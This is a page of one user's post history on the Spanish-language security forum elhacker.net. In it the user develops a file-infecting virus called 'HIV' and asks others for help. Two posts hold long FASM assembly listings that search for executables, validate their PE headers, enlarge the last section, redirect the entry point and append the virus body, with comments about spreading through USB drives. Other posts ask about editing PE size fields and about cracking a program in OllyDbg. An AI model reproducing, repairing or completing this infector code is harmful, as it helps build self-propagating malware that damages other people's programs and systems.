elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11
81  Seguridad Informática / Análisis y Diseño de Malware / Re: Como establecer el tamaño del EXE en los PE Header correctamente?? en: 24 Agosto 2014, 04:35 am
Ok. Gracias por la respuesta. Puedes decirme en que parte del PE Header modifico el tamaño? O sera que el Cargador de Windows suma los tamaños de cada sección más el tamaño de las cabe eras???

Esa pagina llamada vxheavens ya la habia visitado antes, y tambien estoy leyendo unos cuantos sources de virus para ver que es lo que modifican en el PE Header. Vxheavens aparentemente está algo antigua, porque he encontrado tutorialez del año 1998, y algunoz cuantos del 2004.

Seria muy bueno que el foro elhacker tuviese sources de virus asi como los tiene vxheavens, aunque no se si tendrían problemas legales.

82  Foros Generales / Sugerencias y dudas sobre el Foro / Hace falta completar la wiki en: 23 Agosto 2014, 20:35 pm
Hola, no sé si este será un buen lugar para dejar mi post, pero deberían de completar la wiki. Podría colaborarles a completarla en cuanto aprenda bastante, porque hace falta que todos los conocimientos que están albergados en este foro sean compilados en un solo lugar, facil de ubicar, que permita a los principiantes iniciar en la creacion de malware y hacking en general(propositos educativos).

83  Seguridad Informática / Análisis y Diseño de Malware / Como establecer el tamaño del EXE en los PE Header correctamente?? en: 23 Agosto 2014, 18:18 pm
Hola, estoy desarrollando mi primer virus simple. El virus se añade al final de la ultima sección del ejecutable, (.text). Pero hay problema, el tamaño que esta guardado dentro del ejecutable (según mi herramienta CFF Explorer VIII, hecha por NTCore) no coincide con su tamaño fisico. Yo sé que existe algo llamado tamaño fisico (physical size) y tamaño virtual (virtual size).

He leido bastante la documentacion de Microsoft, no he podido encontrar como modificar y establecer correctamente los valores de esos campos, ni siquiera sé en donde están posicionados dentro de la cabeceras internas del ejecutable porque no puedo verlos usando mi herramienta (comentada anteriormente).

Si alguien pudiera decirme en que offset estan esos campos y como modificarlos adecuadamente para reflejar los cambios hechos por mi virus, estaría muy agradecido.

Gracias de antemano por sus respuestas.
84  Programación / ASM / Re: Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla en: 23 Agosto 2014, 00:11 am
Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.

Yo ya sabía que solo modificaba un buffer en memoria, lo que pasa es que luego volcaré el contenido del buffer al disco, sobreescribiendo los datos viejos y de esa forma actualizar el PE header y demas cabeceras. Solo que aun no implementado la funcion de escritura que haga ese trabajo.

Gracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD. Bueno, supongo que si algo ocurre puedo volver aquí, ¿o no?

Perdón por las molestias causadas.
85  Programación / ASM / Me rindo. Mi codigo no quiere modificar el PE Header, y cuando lo intenta, falla en: 22 Agosto 2014, 23:15 pm
Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.

Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas


Código
  1. ;This is a stub of the HIV virus.
  2. ;It works properly. This is only the infection routines.
  3.  
  4. ;The idea is make the infection module here, and after glue it with
  5. ;the payload and another modules.
  6.  
  7. ;The infection module must explore all USB removable drives
  8. ;and search in them for executables to infect.
  9.  
  10. format pe console 4.0
  11. include 'C:\fasm\INCLUDE\WIN32AX.INC'
  12.  
  13. virus_size_before_compilation equ (end_of_file-main)
  14. GENERIC_READWRITE equ 0C0000000h
  15.  
  16. ; Declare a macro to make buffers
  17. macro dup label,lcount
  18. { forward
  19.   label#:
  20.   common
  21.    repeat lcount
  22.   forward
  23.    db      0
  24.   common
  25.    end repeat }
  26.  
  27.  
  28. section '.text' readable writable executable
  29.  
  30. main:
  31.    call delta
  32. delta:
  33.    pop ebp
  34.    sub ebp, delta
  35.  
  36. adjust_datasegment:
  37.    ;push cs
  38.    ;pop ds
  39.    ;push cs
  40.    ;pop es
  41.  
  42. explore_directory:
  43.                         ;Push parameters for the function
  44.    push FIND_STRUCT     ;Put in the stack the address of FIND_STRUCT
  45.    push file_extension  ;File extension
  46.    call [FindFirstFileA]   ; find the first *.fly
  47.                        ;Always, remember that the API address can be founded using
  48.                        ;brackets in the API name, like this [FindFirstFile]
  49.  
  50.    ;invoke      FindFirstFile,file_extension, FIND_STRUCT
  51.  
  52.    mov dword [find_handle], eax ;Save find handler returned by FindFirstFile
  53.  
  54. find_more_files:
  55.    cmp eax, 0
  56.    je exit
  57.    call infect_file
  58.  
  59. findnextfile:
  60.  
  61.    push FIND_STRUCT
  62.    push dword[find_handle] ;I believe that the FindNextFile function expects
  63.                            ;the address of the find_handle, instead its value.
  64.    call [FindNextFile]
  65.    ;invoke FindNextFile, dword [find_handle], FIND_STRUCT
  66.    jmp find_more_files
  67.  
  68. infect_file:
  69.    ;-----------------------------------------------------------------------
  70.    ;When you work with files, You must be sure that the file was
  71.    ;successfully opened. If you use an incorrect or invalid mode opening,
  72.    ;you'll see that you can not retrieve data from the file. To see if
  73.    ;you've really recovered bytes from the file, type in the file a text
  74.    ;string and show it using MessageBox API.
  75.    ;------------------------------------------------------------------------
  76.  
  77.    ;invoke  CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  78.    ;invoke  WriteFile, eax, sign, 22, byteswritten, 0
  79.    ;invoke  CloseHandle, eax
  80.  
  81.    ;I use the 4 for the open mode because it means "Read/Write".
  82.    ;I open the file and Get its filesize for later use.
  83.    ;The handle was stored in eax by the API
  84.  
  85.    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  86.    mov [file_handle], eax
  87.  
  88.    ;I get the filesize of the host, and move it to a variable.
  89.    ;This data could be interesting in a near future
  90.    invoke GetFileSize, [file_handle], 0
  91.    mov [host_size], eax
  92.  
  93.    ;Calculates the possible new size of the executable
  94.    ;add eax, virus_size
  95.    ;mov [infected_size], eax
  96.  
  97.    ;Read 8000 bytes from the file
  98.    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
  99.  
  100.    ;Debugging purpouses.
  101.    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
  102.    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
  103.  
  104.    ;You must verify that the API has successfully opened and read bytes from the file
  105.    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
  106.  
  107.    lea edx, [buffer]       ;Load in edx the address of buffer
  108.                            ;I use the edx register as a pointer to the buffer.
  109.  
  110.                            ;Now I am in the DOS header.
  111.    cmp word [edx], "MZ"    ;Check if the file is a real executable
  112.    jnz bad_executable
  113.    add edx, [edx+60]       ;This instruction modify the pointer.
  114.                            ;Now the edx register points to a position
  115.                            ;60 bytes (3C in hex) after the begin of buffer
  116.                            ;Now I am in the PE Header
  117.  
  118.    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
  119.                            ;This is very useful to know if I am infecting
  120.                            ;an old DOS program instead a Win32 executable.
  121.    jnz bad_executable
  122.    call good_executable
  123.  
  124.    ;After this point, the program crashes in somewhere of the code
  125.    mov esi, edx ; esi = peheader
  126.    add esi, 120 ; esi = dirheader
  127.    mov eax, [edx+116] ; eax = number of dir entries
  128.    shl eax, 3 ; eax = eax*8
  129.    add esi, eax ; esi = first section header
  130.    movzx eax, word [edx+6] ; eax = number of sections
  131.    dec eax ; eax = eax-1
  132.    imul eax,eax,40
  133.    add esi, eax ; esi = ptr to last section header
  134.    or byte [esi+39], 0F0h ; give section necessary rights
  135.    mov ecx, virus_size ; ecx = size of virus
  136.    mov ebx, [esi+16] ; ebx = physical size of section
  137.    add [esi+16], ecx ; increase section physical size
  138.    add [esi+8], ecx ; increase section virtual size
  139.    push dword [esi+8] ; push section virtual size
  140.    pop dword [edx+80] ; imagesize = section virtual size
  141.    mov eax, [esi+12] ; eax = section rva
  142.    add [edx+80], eax ; add it to the imagesize
  143.    add edi, [esi+20] ; edi = section offset
  144.    add edi, ebx ; edi = end of section
  145.    add eax, ebx ; eax = rva of virus
  146.    xchg [edx+40], eax ; swap it with old entrypoint
  147.    add eax, [edx+52] ; add imagebase to it
  148.    mov [ebp+OldEip], eax ; save it
  149.    lea esi, [ebp+main] ; esi = virus start
  150.    rep movsb ; edi = ptr to end of file
  151.    clc ; indicate sucess
  152.  
  153.    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
  154.  
  155.    ret
  156.  
  157. good_executable:
  158.    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
  159.    ret
  160.  
  161. bad_executable:
  162.    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
  163.    ret
  164.  
  165.  
  166.  
  167. exit:
  168.    invoke ExitProcess, 0
  169.  
  170. ;----------------------------------------------------------------------
  171. ;   In this place you can find all variables and constants used
  172. ;by the HIV virus. Please, always try to put the needed variables here
  173. ;-----------------------------------------------------------------------
  174.  
  175. datazone:
  176.    ;This buffer will store parts of the whole file.
  177.    buffer rb 8000
  178.  
  179.    ;Strings zone...
  180.    end_message db 'The file was sucessfully infected...', 0
  181.    msg_found  db      'I have found a Real EXE!!!...', 0
  182.    msg_not_found db  'The current exe file is invalid...', 0
  183.    file_signal db 'X'
  184.    end_msg     db      'End of program', 0
  185.    msg         db      'File founded', 0
  186.    msg_caption db      'Assembly program...', 0
  187.    sign        db      'Sorry, You have HIV...', 0
  188.    byteswritten dd      ?
  189.    bytesread    dd      ?
  190.  
  191.    ;Variables needed by the infection function
  192.    file_handle  dd      ?
  193.    host_size dd ?
  194.    map_handle dd ?
  195.    infected_size dd ?
  196.    virus_size dd virus_size_before_compilation
  197.    OldEip  dd  ?
  198.  
  199.    ;Variables used by the FindFirstFile and FindNextFile
  200.    file_extension db '*.fly', 0
  201.    find_handle     dd 0              ; handles/other stuff..
  202.    FIND_STRUCT:                      ; find structure used with searching
  203.        dwFileAttributes    dd 0
  204.        ftCreationTime      dd 0,0
  205.        ftLastAccessTime    dd 0,0
  206.        ftLastWriteTime     dd 0,0
  207.        nFileSizeHigh       dd 0
  208.        nFileSizeLow        dd 0
  209.        dwReserved0         dd 0
  210.        dwReserved1         dd 0
  211.        dup         cFileName, 256        ; found file buffer
  212.        dup         cAlternate, 14
  213. end_of_file:
  214.  
  215. .end main
  216.  
  217.  
86  Programación / ASM / Re: ¿Como hacer que los registros DS y ES apunten al Segmento de Codigo (CS)??? en: 22 Agosto 2014, 19:41 pm
cpuz , estoy trabajando en x86. Usé el codigo que me dio Eternal Idol, pero mi programa falla de nuevo. No sé si necesito permisos para cambiar los registros de segmento. Bueno, si tu dices que necesito permisos, será reescribir el codigo de nuevo y evitar usar esos registros.

Código
  1. push cs
  2. pop ds
  3. push cs
  4. pop es
  5.  

A mí no me funciono. Estoy compilando con FASM, y compila bien. Pero en tiempo de ejecucion falla. Aqui dejo el codigo completo:

Código
  1. format pe console 4.0
  2. include 'C:\fasm\INCLUDE\WIN32AX.INC'
  3.  
  4. section '.text' readable writable executable
  5.  
  6. virus_size_before_compilation equ (end_of_file-main)
  7.  
  8. main:
  9.    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
  10.    mov [file_handle], eax
  11.  
  12.    ;I get the filesize of the host, and move it to a variable.
  13.    ;This data could be interesting in a near future
  14.    invoke GetFileSize, [file_handle], 0
  15.    mov [host_size], eax
  16.  
  17.    ;Calculates the possible new size of the executable
  18.    ;add eax, virus_size
  19.    ;mov [infected_size], eax
  20.  
  21.    ;Read 8000 bytes from the file
  22.    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
  23.  
  24.    ;Debugging purpouses.
  25.    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
  26.    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
  27.  
  28.    ;You must verify that the API has successfully opened and read bytes from the file
  29.    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
  30.  
  31.    lea edx, [buffer]       ;Load in edx the address of buffer
  32.                            ;I use the edx register as a pointer to the buffer.
  33.  
  34.                            ;Now I am in the DOS header.
  35.    cmp word [edx], "MZ"    ;Check if the file is a real executable
  36.    jnz bad_executable
  37.    add edx, [edx+60]       ;This instruction modify the pointer.
  38.                            ;Now the edx register points to a position
  39.                            ;60 bytes (3C in hex) after the begin of buffer
  40.                            ;Now I am in the PE Header
  41.  
  42.    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
  43.                            ;This is very useful to know if I am infecting
  44.                            ;an old DOS program instead a Win32 executable.
  45.    jnz bad_executable
  46.    call good_executable
  47.  
  48.    ;First, make a routine that verifies that the DS:ESI and ES:EDI
  49.    ;pair of segments are correct and they points to the Code Segment
  50.    push cs
  51.    pop ds
  52.    push cs
  53.    pop es
  54.  
  55.    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
  56.  
  57.    ret
  58.  
  59. good_executable:
  60.    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
  61.    ret
  62.  
  63. bad_executable:
  64.    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
  65.    ret
  66.  
  67. datazone:
  68.    cFileName db 'test.exe', 0
  69.    ;This buffer will store parts of the whole file.
  70.    buffer rb 8000
  71.  
  72.    ;Strings zone...
  73.    end_message db 'The file was sucessfully infected...', 0
  74.    msg_found  db      'I have found a Real EXE!!!...', 0
  75.    msg_not_found db  'The current exe file is invalid...', 0
  76.    file_signal db 'X'
  77.    end_msg     db      'End of program', 0
  78.    msg         db      'File founded', 0
  79.    msg_caption db      'Assembly program...', 0
  80.    sign        db      'Sorry, You have HIV...', 0
  81.    byteswritten dd      ?
  82.    bytesread    dd      ?
  83.  
  84.    ;Variables needed by the infection function
  85.    file_handle  dd      ?
  86.    host_size dd ?
  87.    map_handle dd ?
  88.    infected_size dd ?
  89.    virus_size dd virus_size_before_compilation
  90.    OldEip  dd  ?
  91. end_of_file:
  92. .end main
  93.  
87  Programación / ASM / Re: ¿Como hacer que los registros DS y ES apunten al Segmento de Codigo (CS)??? en: 22 Agosto 2014, 18:35 pm
Gracias Eternal Idol, sé que debí ser un poco más especifico y comentar más acerca de mi problema, pero no sé si al explicar un poco más mi problema, la gente no responda y no quiero que piensen que soy vago o que no estoy trabajando por una solucion.

Ah, la solucion que me brindaste ya la había probado antes, y aún así mi programa falló. Ahora pienso que debe haber otra cosa que está mal en mi codigo. Por ahora no preguntaré más, para no saturar el foro de preguntas mías.

Gracias por tu respuesta.
88  Programación / Ingeniería Inversa / Re: ¿Como ver el valor de los registros CS, DS, y ES en OllyDbg??? en: 22 Agosto 2014, 17:32 pm
Ups!!! Perdón. Yo había mirado mucha veces ese panel, pero jamás me había dado cuenta que allí estaban. Un descuido lo comete cualquiera...XD. La próxima vez tendré más cuidado antes de preguntar.
89  Programación / Ingeniería Inversa / ¿Como ver el valor de los registros CS, DS, y ES en OllyDbg??? en: 22 Agosto 2014, 17:03 pm
Hola, estoy intentando crackear un programa y necesito, por razones particulares, ver el valor de los registros CS, DS, y ES. He intentado buscarlos en el panel de registros, pero solo se ven los de proposito general y nada más (algunos otros como MMX tambien se ven) pero los que necesito no se encuentran listados.

Por favor si saben algun metodo u otro depurador que me ayude a visualizar el contenido de los registros CS, DS, y ES, estaría muy agradecido. Gracias de antemano por sus respuestas.
90  Programación / ASM / ¿Como hacer que los registros DS y ES apunten al Segmento de Codigo (CS)??? en: 22 Agosto 2014, 16:40 pm
Hola, estoy desarrollando un malware en ensamblador. Ya ha fallado varias veces cuando intento hacer una operacion que usa los registros ESI y EDI. Lo he analizado y he descubierto que los registros DS y ES no apuntan a los datos embebidos dentro del mismo segmento de codigo.

Por eso necesito que me ayuden un poco explicandome como hacer que los registros DS (Data Segment) y ES apunten hacia CS (Code Segment). Será que pueden darme un breve ejemplo en codigo de como hacerlo?? Gracias de antemano por sus respuestas.
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines